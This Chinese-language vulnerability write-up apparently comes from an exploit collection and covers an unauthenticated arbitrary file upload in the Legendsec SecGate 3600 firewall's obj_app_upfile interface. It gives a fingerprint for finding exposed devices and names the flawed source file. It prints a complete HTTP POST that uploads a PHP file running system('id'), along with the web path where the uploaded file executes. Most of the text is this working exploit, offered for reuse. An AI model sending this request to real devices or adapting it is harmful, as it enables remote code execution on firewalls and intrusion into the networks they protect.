59 lines
1.9 KiB
Markdown
59 lines
1.9 KiB
Markdown
## 漏洞描述
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网神 SecGate 3600 防火墙 obj_app_upfile接口存在任意文件上传漏洞，攻击者通过构造特殊请求包即可获取服务器权限
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## 漏洞影响
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网神 SecGate 3600 防火墙
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## 网络测绘
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fid="1Lh1LHi6yfkhiO83I59AYg=="
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## 漏洞复现
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登录页面
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出现漏洞的文件 webui/modules/object/app.mds
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代码中没有对文件调用进行鉴权，且文件上传路径为可访问路径，造成任意文件上传
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```
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POST /?g=obj_app_upfile HTTP/1.1
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Host:
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Accept: */*
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Accept-Encoding: gzip, deflate
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Content-Length: 574
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
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User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)
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------WebKitFormBoundaryJpMyThWnAxbcBBQc
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Content-Disposition: form-data; name="MAX_FILE_SIZE"
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10000000
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------WebKitFormBoundaryJpMyThWnAxbcBBQc
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Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
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Content-Type: text/plain
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<?php system("id");unlink(__FILE__);?>
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------WebKitFormBoundaryJpMyThWnAxbcBBQc
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Content-Disposition: form-data; name="submit_post"
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obj_app_upfile
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------WebKitFormBoundaryJpMyThWnAxbcBBQc
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Content-Disposition: form-data; name="__hash__"
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0b9d6b1ab7479ab69d9f71b05e0e9445
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------WebKitFormBoundaryJpMyThWnAxbcBBQc--
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```
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默认上传路径 /secgate/webui/attachements/ ， 访问 attachements/xxx.php 文件
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